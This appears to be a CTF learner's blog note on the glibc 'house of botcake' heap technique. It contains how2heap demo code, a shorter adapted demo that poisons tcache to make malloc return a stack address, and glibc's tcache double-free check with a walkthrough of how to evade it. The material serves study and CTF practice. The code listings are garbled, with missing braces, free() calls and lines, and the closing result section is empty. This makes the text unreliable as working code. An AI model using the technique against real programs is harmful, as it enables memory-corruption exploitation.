In the DASCTF October competition, there was an inspection of house_of_botcake. I thought it was very strange at the time. I had never used this method before, so I went to how2heap to learn it. It was actually very simple, not as complicated as I imagined.

Let's rely on the source code analysis wave


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
int main()
     * This attack should bypass the restriction introduced in
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */
    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");
    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);
    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    intptr_t *prev = malloc(0x100);
    printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
    intptr_t *a = malloc(0x100);
    printf("Allocating the victim chunk: a @ %p\n", a);
    puts("Allocating a padding to prevent consolidation.\n");
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    free(a);// a is already freed
    puts("Now we have the chunk overlapping primitive:");
    int prev_size = prev[-1] & 0xff0;
    int a_size = a[-1] & 0xff0;
    printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
    printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
    a = malloc(0x100);
    memset(a, 0, 0x100);
    prev[0x110/sizeof(intptr_t)] = 0x41414141;
    assert(a[0] == 0x41414141);
    return 0;

According to the adaptation demo of a master on the Internet:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
int main()
    size_t stack_var[4];
    size_t *x[7];
    for(int i=0; i<7; i++) x[i] = malloc(0x80);
    size_t *prev = malloc(0x80);
    size_t *a = malloc(0x80);
    malloc(0x10); //padding chunk or will double free
    for(int i=0; i<7; i++) free(x[i]);
    free(a);  // a in unsorted bin
    free(a);  // a in tcache
    size_t *b = malloc(0xb0);
    b[0x90/sizeof(size_t)] = (size_t)((long)stack_var ^ ((long)a >> 12));// poison tcache
    size_t *c = malloc(0x80);
    assert(c == stack_var);

C demo idea: first apply for 7 chunks to fill up tc, then apply for 2 chunks for triggering, and a chunk for isolating the top to prevent overwriting the top chunk

Then free the first 7 chunks in turn, enter tc, free a chunk again, enter the unsorted bin, and then free a chunk in front of the unsort bin, which will be merged and merged.

Apply for a chunk again. At this time, it will be applied from tc. After the application is released, tc will be reduced from 7 to 6. At this time, you will free the chunk that has just entered the unsortbin and enter tc. At this time, you can use the bypass key. In fact, this method It is to let the chunk enter the unsortbin first, and then let the unsortbin chunk enter the tc, so that the tc key can be bypassed, and the following can be arbitrarily written and hijacked

tchace key source code:

  size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *) chunk2mem (p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely (e->key == tcache))
        tcache_entry *tmp;
        LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
        for (tmp = tcache->entries[tc_idx];
         tmp = tmp->next)
          if (tmp == e)
        malloc_printerr ("free(): double free detected in tcache 2");
        /* If we get here, it was a coincidence.  We've wasted a
           few cycles, but don't abort.  */

If a chunk is freed into tc, it will detect the value of the key. If it is the same, it will traverse and detect the same address. If there is the same address, it will trigger double free. At this time, we can let it enter the unsortbin first. At this time, the value of the key is not equal. , and then arbitrarily hijacking double free will not report the error "free(): double free detected in tcache 2". At this time, other methods are used, such as: off-by-one/null heap overflow or UAF coverage bk reaches any hijacked operation
The final effect:

Summary: I am preparing for the provincial competition recently, and I have read very little knowledge about pwn, woohoo, after the provincial competition, I will all devote myself to PWN, NO PWN NO FUN!!!!!